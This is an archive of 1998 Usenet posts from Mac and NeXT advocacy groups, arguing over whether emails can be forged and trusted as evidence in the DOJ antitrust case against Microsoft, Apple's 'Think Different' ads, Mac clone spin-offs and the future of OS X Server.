> > how would you prove you didn't send it?
>
> Trivial, I'd inspect the login info and compare that to the timestamp on
> the mail. If I was not logged on at the time the mail was sent, this is an
> excellent indication that I didn't send it.
It's my turn to trivialize you...:) Suppose I "logged on" and then left
my desk for a meeting, a consultation, a lunch break--whatever--and I
didn't *log out*? You can't be rational if you believe that everybody
on God's earth "logs out" whenever they get up to take a whizz...:)
Secondly, suppose I had "logged out" and left my desk for a 30 minute
lunch break? Does that mean that someone *couldn't* go to my desk and
"LOG ON" in my name? You are forgetting how incredibly stupid computer
systems are. Your idea reminds me of a boss I once had who was fond of
sending me password protected zip files for which he'd forget to give me
the password to unzip them. Many times he was out of town and
unreachable so I'd have to guess the passwords. He was very found of
using the names of countries as his passwords, usually in the northern
portion of the Americas. I can't remember how many times I opened those
files by guessing "Canada" or something else, in all of about five
minutes.
Third, you show a complete lack of appreciation for the criminal mind
intent on deception. Your "ineffable" email system I and many others
would find child's play to deceive if we were of a mind to do so. I find
it remarkable that you claim to be unable to figure out how to send a
bogus email from someone else's machine. It's ludicrous.
Do you believe that computers don't lie? Well if if you do, I'll agree
with you, but only if you add the "stipulation" that computers don't
"tell the truth," either. Computer records are no more than "data in,
data out," or "garbage in, garbage out" depending on *who* (as in human
being) is inputing what data.
I pity some poor slob accused of a crime on which you would sit on the
jury. He'd produce a time-stamped receipt showing how he was buying
lunch at the precise moment the email was being sent, but you'd convict
him anyway, as you obviously believe that computer records don't lie,
only people do...:)
>
> Now a question for you. If someone broke into your office and used your
> pen and copied your signature, how would you prove you didn't send it? I
> think you'll find that it's MUCH harder to prove that this message is a
> fake than one from a computer where there are all sorts of logs being
> recorded all the time.
Very, very simple. A handwriting expert would examine my signature and
the one on the document and conclude that I *had not* written it. Thus,
it is at least possible to prove I did *not* sign a document, whereas it
is completely *impossible* to prove that I did not send an email sent
from my machine.
>
>
> How is his "vast faith" in email any different than your vast faith in a
> signature - something that is copied all the time?
How is it you miss the obvious so consistently? A "signature" is much
like a fingerprint in that it is highly individualistic, if not
*unique.* Therefore, merely "copying" a signature is no guarantee that
it will stand up to a minute handwriting analysis. "Network and machine"
records, however, are not unique nor are they "individualistic" in
nature. There is *nothing* inherent in an email itself which can
conclusively prove who authored it. Absolutely nothing. At best, the
"machine record" can *only* prove from whose *machine* a specific email
was sent. It tells us *nothing* about the individual who sent it.
Now, suppose I was a decently clever chap, and I could alter the machine
records as well as send the bogus email? Hmmm....? ...But I am quite
sure you don't believe those people exist, do you?....:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 13:37:08 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Chad Irby wrote:
> > >
> > > Selling iMacs. Quite nicely, to boot. Major sales gains.
> >
> > I'm sorry, but I haven't seen any evidence of that.
>
> Then you're not very observant.
>
>
It's not that, really. I just don't listen to Jobsian propaganda.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 13:31:57 -0500
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Chad Irby wrote:
>
> First, if they erased the files in order to slow the case, they'd be in
> about as deep as they're getting in *with* the emails, since they'd be
> "obstructing justice."
If they had deleted the emails a year ago or earlier, they would have
been in no trouble at all as they were not under a subpeona to turn over
those records, and any company anywhere may "shred" or "delete" any of
its own internal records at any time without breaking any laws in the
process.
>
> Second, you have to show that Gates and pals really thought that they were
> going to get nailed on this. The evidence shows that they didn't, or that
> they thought it would be a slap on the wrist. Look at that one bit where
> Gates bragged that they hadn't changed business practices at all after the
> Consent Decree.
>
> Why bother covering up if you don't think you're going to get in trouble for it?
Exactly. Why bother "covering up" if you don't believe you've done
anything wrong? If they had believed they were doing anything wrong they
definitely would have covered it up, since if they believed they were
wrong when they did certain things they would have been crooked and they
would have known it.
>
> They severely misjudged the situation, and now they're getting backed into
> a corner because of it.
Or, they misjudged their rights under the Constitution to conduct
business.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 13:35:11 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Talk about RDF and aggressively wrong, why did you leave out the next
> > lines in which I spoke of how these companies started new, spin-off
> > companies to make Mac clones? Which is 100% correct.
>
> When a company starts a "new company" to do something but owns 100% of
> that company, it's still the same company.
>
> "Starting new, spin-off companies" makes no real difference whatsoever.
> It was still a Motorola company selling Motorola computers and a UMAX
> company selling UMAX computers.
Wrong. The companies were legally distinct from their parent companies,
had different CEOs, staff, fiscal structures, etc.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 13:36:23 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Let's try it slow...He was being asked to testify as an *individual* as
> > to his *opinion* as to what *he personally thought* about certain things
> > he saw at Compaq.
>
> ...and, in addition, to things he saw and heard that weren't opinion at
> all, which is the important part that you seem to forget.
>
...which has nothing to do with the fact that this individual's
testimony is *not* an official Compaq public statement.
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Message-ID: <SPAMLESSforrest-2511981051390001@term4-19.vta.west.net>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net> <Macdev-2511980112550001@sdn-ar-001casbarp258.dialsprint.net> <73gr35$aq3$1@sun27.hrz.tu-darmstadt.de>
Organization: Obsidian
Date: Wed, 25 Nov 1998 10:51:38 -0800
NNTP-Posting-Date: Wed, 25 Nov 1998 10:50:57 PDT
Macdev@earthlink.net (Macdev) wrote:
>How do you justify WebObjects being a low priority?
Because the rules of this 'game' were that you get three high priorities
and five lows. I think the core APIs deserve the most attention, as they
make Apple the most money, and WO isn't one of those core APIs. Given
infinite (or just greatly larger) resources, I would put everything on
highest priority, but in out hypothetical situation we (Lawson, actually)
were given enough resources to have three of the ten items high priority,
five of them low, and two of them shelved or killed.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Message-ID: <SPAMLESSforrest-2511981054320001@term4-19.vta.west.net>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net> <hugh-2511980947290001@184.minneapolis-08-09rs.mn.dial-access.att.net>
Organization: Obsidian
Date: Wed, 25 Nov 1998 10:54:31 -0800
NNTP-Posting-Date: Wed, 25 Nov 1998 10:53:50 PDT
In article
<hugh-2511980947290001@184.minneapolis-08-09rs.mn.dial-access.att.net>,
hugh@damnspam.semplicesoft.com (Hugh Johnson) wrote:
>> High Priorities:
>>
>> YellowBox
>> Carbon
>> Java
>
>Couldn't Java be the man-hour equivalent of a low priority, simply because
>Sun does most of the work? Porting can be pretty difficult in spots, but
>not in general. I think you could make room for WebObjects in high
>priority.
Good point. Though I would go with Mr. Lund and move QuickTime there
first, because it's Apple's bigger, more important product. IMO of course.
And once Carbon is done, it won't need any advancement, so it can
effectively be shelved, making room for WO.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 13:21:50 -0500
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"R. Tang" wrote:
>
>
> Think Different.
>
> Won an Emmy and a Clio.
>
> Sold a helluva lot of computers. A promo campaign by any
> definition.
Really? Hmmmm...I seem to recall an awful lot of people surveyed who had
no idea on earth *what* the commercials were about...:)
Of course, it's so much easier just to forget about those few million
people, isn't it?
>
> You've just called the
> >Apple marketing department the biggest bunch of moronic imbeciles ever
> >to advertise a computer!
>
> Not really.
Yes, I think really. Tell me, do you honestly believe an old b&w picture
of Einstein with nothing but an Apple logo to communicate the meaning of
the photograph would be more effective than this:
"Hi, I'm Albert Einstein's great grandson. While I can't say for sure
what type of computer my Great Granddad would have used, I'll bet he'd
have used a Mac. I know I do, and that's why I think he would have."
That, my friend, is a Direct Endorsement. There is no ambiguity, no
doubt, and no question. And *that* is something Apple *never* did.
That's why I say either you're dead wrong about Apple getting any sort
of direct endorsement from these estates (what it seems Apple got was
permission to use photographs provided no direct sales pitches were made
with them), or else the Apple marketing department is made up of the
real bozos around here.
>
> Shows what an imbecile you are, however, to say that, after
> umpteen million billboards, countless minutes of TV ads and numberless
> pages of magazine ads, that Apple has never used these endorsements to
> promote or sell computers.
>
> Fan of Orwell, are we?
Shows what an imbecile you are to so badly misinterpret what I've said
so consistently. (I don't like calling names but you seem as fond of
doing that as you are bereft of the ability to reason, so I guess I can
make an exception.) I repeat: you plainly do not see the difference
between obtaining permission to use estate photographs in a
non-commercial manner, and the direct endorsement of Apple as a company
and the Mac as a computer by these estates. There is a huge
difference--which ought to be obvious based on the ads Apple did (which
seemed far more like PBS public service spots to me than an
advertisement to buy anything made by Apple.)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:12:13 -0500
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Maury Markowitz wrote:
>
> On the other hand to fake my e-mail, someone would have to get onto this
> computer. This would be VERY difficult. For one they would have to get
> past the security guard if they come in at night, and sign in (and the
> guard remotely operates the elevator, the only way to get to this office).
> If they come in during the day there's already someone in the office, so
> doing this would be too difficult. After that they would have to break
> into the office, get past the security system, get to this machine, log in
> as me by somehow getting my password, and then send the mail. The problem
> is that there's a catch-22. Since a log of the e-mail will be kept they
> will also have to do this while I'm in the office, and I sign in and out
> too. So in other words this person would have to wait unnoticed on this
> floor, which is tough because we're the only office, then sneek in when
> *everyone* is out of it. This is MUCH MUCH harder than faking my
> handwriting.
So I take it you are in your office alone and absolutely no one else
*can possibly* access your machine. WHen you arrive you unlock your
office door and when you leave you lock it and only you have the key.
Additionally, I assume the server is locked in a vault and completely
inaccessible to anyone but you. As I have said consistently, if it can
be proven that no one else could *possibly* have access to either your
machine or the server, then we *might* be able to consider that we know
beyond a shadow of a doubt the originator of the email sent from your
machine.
First, I don't believe you are as smart as I think you are, and I don't
think all your bases are covered as well as you think they are. And I
believe that someone with devious intent and knowledge could, in fact,
invade your space and send an email from your machine *and* in the
process put you in a big jam.
Second, a *whole lot of people* work from stations in which lots of
other people have easy access to each other's machines, if they are so
inclined. What makes you think your case is typical?
>
> You have provided no evidence to date demonstrating this case, and here I
> demonstrate the opposite. You've provided only supposition and what if.
> Do you have any case law to show us?
>
Do you?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:26:26 -0500
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Rick wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>
> > Actually, it seems as if it's the Apple crowd who get confused on the
> > subject, not me. They're the ones who think an estate's release of old
> > pictures to be used in an ad campaign that doesn't mention the words
> > "computer" or "Apple" or "Mac" is the exact same thing as a direct
> > endorsement of the Mac by these very same estates. Not me...:)
>
> Well, thats why you dont understand sophisticated advertising.. and why
> you use herd mentality to purchase computers.
Well, you can bet your boots that an awful lot of other people (re:
potential Mac buyers) "don't understand sophisticated advertising,"
either....especially when there is almost *nothing* in those ads that
lets anyone know that "Apple Computer" is even involved...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:23:18 -0500
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Rick wrote:
> > >
> >
> >
> > Who's old hardware is Microsoft milking?
>
> Um, software is technology... and Microsoft's is hardly original or
> leading edge.
>
Yea, like Apple's OS really is...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:30:43 -0500
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Rick wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Well, no one has demonstrated that Microsoft selling Windows was
> > illegal, either. Microsoft is being accused of "using its monopoly power
> > in one market to stifle competition." *That's* the supposed illegality.
> > I think it fits Apple's handling of the Mac clone companies like a
> > glove.
>
> If it was such an illegal act, why has someone, anyone, charged Apple
> with something, or sued them over it?
First, Apple has been sued several times recently, as apparently you
don't recall. Would you say that simply because Apple's been sued that
Apple is guilty of something? No? Well, then I guess the same should go
for any other company, too, shouldn't it?
I've got some news for you: "getting sued" or being accused of
illegality is:
(1) not the same has having actually done it
(2) not legally binding until you've been found guilty and all your
appeals are used up
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:22:31 -0500
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Maury Markowitz wrote:
>
>
> Actually they did, but you'd have to bother to actually look into it to
> see this. Actually you wouldn't even have to do that, as SJ specifically
> mentioned the numbers in his last big speach, I suppose you didn't bother
> to listen to that either.
If you happen to trust Jobs, which I don't...
>
> Since that first exit-poll, there have been at least one more survey done
> post-purchase, and it showed even higher percentages of owners are first
> time or switching from PC's.
Who paid for the survey and what questions did it ask and where was it
done? If you can't answer those questions you're just repeating gossip.
>
> > First, Apple released no figures at all on the number of Apple
> > "defections"--that is, Mac users migrating from the Mac or a Mac clone
> > into the X86 market.
>
> Which has absolutely no bearing on the issue. Either such migrations
> take place, or they don't. Your statment here, if you care to back it up,
> simply proves this point.
I see...figures spouted by Apple (Steve Jobs, no less) which purport X86
users buying iMacs are believable. But figures showing migration away
from the Mac to X86 platforms need to be "backed up" and are therefore
doubtful. ANd you claim you're objective...:)
>
> > for Apple, so I doubt Apple even attempts to discover those numbers. If
> > Apple does have a rough idea, you can bet you'll never hear it from
> > their lips...:) Second, there is no distinction made between the "first
> > time buyer" category and the "X86 owner category."
>
> Yes there is.
Fine. What is it?
>
> > disparate categories are lumped together.
>
> No they are not.
Fine. What are the numbers?
>
> > This leads me to believe that
> > the first-time-buyer category was in fact much larger than the "X86
> > owner" category.
>
> It is now, but in the first poll they were roughly equal.
You mean the "poll" that Steve Jobs quoted?...:)
>
>
> Once again it's demonstrated that being wrong is no deterrant for Jon to
> spout off his odd form of anti-Apple hatred.
>
Around here, being objective is "being wrong" and criticism of Apple is
"hatred." Whew...
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:33:24 -0500
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Rick wrote:
>
> Whats wrong is your professed understanding of the personal computer
> market. There are 2 main players.. Microsoft with 90-95% of the market
> and the Mac... with.. well not much. So, when Microsoft does something
> it effects at least 90-95% of the market, and another portion
> indirectly.
So, then, IBM, Compaq, Gateway, Dell, Micron, etc. ad infinitum, don't
count? Microsoft does software only. Apple does both.
But I do thank you for reiterating the point that Apple does have its
own market, separate and apart from the X86/Windows market.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:23:49 -0500
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Rick wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > >
> > >
> > > The damage has already been done, the monpoly gained, the dependance
> > > established.
> > >
> >
> > Is this a quote from a Mac user after Jobs destroyed Mac cloning?
>
> Are you that stupid?
I'll take that as a "yes"...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 25 Nov 98 12:53:41 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B281AE5E-4BD05@206.165.43.203>
References: <73h91q$vfk$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
>You're a smart guy Lawson, and there is technical merit in what you say,
no
>doubt about it. But you hurt your own cause by saying things like "what
low
>level applications are there to previw QuickTime vectors?" You then get
>the
>obvious reply: "QuickTime." Episodes like that hurt your credibility. In
>your apparent zeal to promote GX, you often seem to be taking the position
>that there is no way to accomplish certain tasks without GX. I imagine
that
>will only get you dismissed by people who are accomplishing those tasks
>without GX.
>
QuickTime is a playback library. Content-creation using QUIckTime as the
method for creating images is a really *awful* strategy. When I say
"preview" QuickTime vectors, I'm talking about drawing single images
on-screen *before* they are ready for play-back. Big difference between
that and previewing an animation.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 19:56:00 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981455200001@pm60-24.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981225020001@pm61-44.magicnet.net> <365C3A55.1E8FD416@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Have you ever heard of "volume" buying? Have you ever heard of "tier"
> pricing?
Yes. If you want good "volume" pricing from Microsoft, all you have to do
is sign a per-line contract, meaning that you have to buy a copy of
Windows for every computer you sell in a particular product line.
It's pretty much identical to the "per processor" contracts.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 19:56:35 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981455550001@pm60-24.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com> <72tfvs$h34@news1.panix.com> <3659D77F.2D5FA2E2@spamtoNull.com> <cirby-2311981753020001@pm56-03.magicnet.net> <365B0801.33E84F20@spamtoNull.com> <cirby-2411981653440001@pm61-15.magicnet.net> <365C4E27.2BA5585B@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> ...which has nothing to do with the fact that this individual's
> testimony is *not* an official Compaq public statement.
It is now.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 19:57:52 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981457130001@pm60-24.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <36599F27.A6646F53@spamtoNull.com> <cirby-2311981350380001@pm53-43.magicnet.net> <365B1477.CB80FA08@spamtoNull.com> <cirby-2411981652490001@pm61-15.magicnet.net> <365C4DDF.AF9617E6@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > "Starting new, spin-off companies" makes no real difference whatsoever.
> > It was still a Motorola company selling Motorola computers and a UMAX
> > company selling UMAX computers.
>
> Wrong. The companies were legally distinct from their parent companies,
> had different CEOs, staff, fiscal structures, etc.
...and were owned 100% by the parent companies. You're hanging on for
dear life to a legal distinction that holds no water whatsoever.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 14:51:17 -0500
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Charles Swiger wrote:
> > That's an interesting point, here...I don't recall the DOJ having
> > presented *any* series of emails in context. Do you?
>
> No. They don't need to. Because neither side is questioning the provenance
> of the email being presented.
I don't understand your logic. You say they "don't need to"...You think
that if the DOJ had a series of emails in context showing these "illegal
thoughts" that it would decline to enter them into evidence? I hardly
think so...Certainly, even the DOJ is smart enough to see how much more
persuasive a *series* of contextual emails on this subject would be
compared to a tiny few random ones with zero contextual reinforcement.
Aside from that, stuff that isn't entered as evidence isn't evidence, is
it?
>
> The 'last' command. Or are you asking about someone going up to a machine I
> was logged into and creating a mail message, which in which I should point
> out that I use a screen locker ('cause I'm logged in as root to several
> machines as a normal part of doing my job, usually).
So I suppose your contention is that no one on earth regardless of how
clever or determined, could *ever* simply send an email from your
machine without your knowledge? Would you also consider your case to be
typical? How about accessing the server?
>
> But if someone forged a message, and the receipients responded to it, and then
> I responded back, lather-rinse-repeat, over the course of several days and
> multiple messages (entirely normal for some email conversations, especially
> those involving business clients), it's very hard to believe that all of this
> email was forged....
>
Exactly, which is why I find it extremely odd that the DOJ doesn't have
this sort of evidence. As you say, it would be most convincing--if they
had presented such evidence. The fact is that since no such evidence has
been entered, it simply does not exist for the DOJ's case.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 15:02:03 -0500
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> What BS !
> For example, read the review of Mac OS X Server at
> http://www.appleinsider.com/articles/9811/mac-os-x-server.shtml
>
> and note the relative weights given to useability and buzzword compliance.
>
> Buzzword compliance is not worth much if useability doesn't accompany it.
> (e.g. Windows).
>
I don't understand. You're saying the Mac OS X server has a lot of stuff
in it that isn't useable, and so therefore is full of buzzword
compliance?
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 20:30:45 GMT
Organization: University of Washington, Seattle
Message-ID: <73hpdl$1gvo$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <365B0A93.29DACF66@spamtoNull.com> <73f60d$f74$1@nntp6.u.washington.edu> <365C4ABE.7353A7B@spamtoNull.com>
NNTP-Posting-User: gwangung
In article <365C4ABE.7353A7B@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>"R. Tang" wrote:
>>
>> Think Different.
>> Won an Emmy and a Clio.
Don't know what a Clio is, do you?
>> Sold a helluva lot of computers. A promo campaign by any
>> definition.
>
>
>Really?
Yes.
Ad directors call it that. Media managers call it that. You don't
get to call it different.
> Hmmmm...I seem to recall an awful lot of people surveyed who had
>no idea on earth *what* the commercials were about...:)
And you'll find that for a LOT of ad campaigns. Standard market
research finding.
>Of course, it's so much easier just to forget about those few million
>people, isn't it?
And you find it easy to forget the few million people for which
the ads WERE effective, don't you? No campaign is 100% effective.
>> You've just called the
>> >Apple marketing department the biggest bunch of moronic imbeciles ever
>> >to advertise a computer!
>>
>> Not really.
>
>Yes, I think really. Tell me, do you honestly believe an old b&w picture
>of Einstein with nothing but an Apple logo to communicate the meaning of
>the photograph would be more effective than this:
>
>"Hi, I'm Albert Einstein's great grandson. While I can't say for sure
>what type of computer my Great Granddad would have used, I'll bet he'd
>have used a Mac. I know I do, and that's why I think he would have."
Yes. Indirect learning, based on Kauffman's research.
The fact that you don't know about this type of psych effect
doesn't mean it doesn't occur or it isn't effective. It exists. It gets
used.
>
>That, my friend, is a Direct Endorsement. There is no ambiguity, no
>doubt, and no question. And *that* is something Apple *never* did.
>That's why I say either you're dead wrong about Apple getting any sort
>of direct endorsement from these estates (what it seems Apple got was
>permission to use photographs provided no direct sales pitches were made
>with them), or else the Apple marketing department is made up of the
>real bozos around here.
And your ignorance is why....you're ignorant.
You're making distinctions where, legally, there are none. You
wanna argue about it? Argue with the lawyers. If you use a famous person's
image in a promotional campaign, IT'S AN ENDORSEMENT. Legally.
>> Shows what an imbecile you are, however, to say that, after
>> umpteen million billboards, countless minutes of TV ads and numberless
>> pages of magazine ads, that Apple has never used these endorsements to
>> promote or sell computers.
>>
>> Fan of Orwell, are we?
>
>
>Shows what an imbecile you are to so badly misinterpret what I've said
>so consistently. (I don't like calling names but you seem as fond of
>doing that as you are bereft of the ability to reason, so I guess I can
>make an exception.) I repeat: you plainly do not see the difference
>between obtaining permission to use estate photographs in a
>non-commercial manner, and the direct endorsement of Apple as a company
>and the Mac as a computer by these estates.
I see it quite plainly.
However, the use of the photographs are clearly commercial. The
fact is, you're highly ignorant of ad and promotional campaigns. The Think
Different campaign is clearly commercial.
Think Different.
Think Pink.
Same industry, even.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Wed, 25 Nov 1998 12:52:01 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
References: <199811251000.LAA32318@replay.com>
In article <199811251000.LAA32318@replay.com>, Anonymous
<nobody@replay.com> wrote:
> "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
> >PS. After the purchase of NeXT, Apple, like Linux, had a BSDish system
> >available for Intel, but Apple also had nice OpenStep/NEXTSTEP
> >applications and a killer development environment. However, over the
> >last two years, Linux has gained all the market share and mindshare and
> >Apple's Intel solution isn't on anyone's radar.
>
> Apple may have been forced by Microsoft (with the threat of dropping
> Office for the Mac, the ultimate disaster hanging over Apple's head).
> But I agree with the picture of developments re the free unixes. And
> Apple's near total silence doesn't help. Tey seem to be focusing on
> 'mass market users' (iMac etc.) and that could spell the end of
> high-end niche operating. Jobs has always wanted to be the big mass
> marketplayer like gates is. I suspect Jobs may be the biggest opponent
> of MacOS X Server.
>
> Who believes MacOS X (Server) is still for real? Any real threat to
> Windows NT will turn Microsoft into something extremely nasty for
> Apple. The only hope is that the judge in the DOJ vs. MS case forces MS
> to support Office for other OS's (Mac and free unixes for instance) so
> that it doesn't work as a tool to keep the MS OS monopoly alive.
>
> Having said that, Apple gets our support _and our mony_ as soon as
> they release the new fast hardware _with_ a full BSD OS X Server. I'll
> put our money where my mouth is.
I've often wondered what the point of releasing OS-X Server actually is.
Apple says that there is never going to be anything beyond v.1.0, and that
OSX-Server won't have Carbon support, so basically what you get is an
OS which will run Yellow-Box apps, or current MacOS apps (in a container)
along with Java apps. Doesn't seem very compelling to me. There aren't
that many Yellow-Box apps (and won't be despite the fact that the Yellow
Box is a far better cross-platform development environment than is Java)
and the MacOS that they are saying OS-X server will ship with is OS8.1.
If Apple did decide to shelve it and go directly for the gold, it wouldn't
surprise me, and its probably NOT a bad move.
George Graves
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: Are JH (and MJP) paid Microsoft agents?
Message-ID: <slrn75orma.cpm.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <73cq7e$nh2$1@coward.cc.utah.edu> <3659ED98.5CA8C667@ericsson.com> <uww4lvtux.fsf@ai.mit.edu>
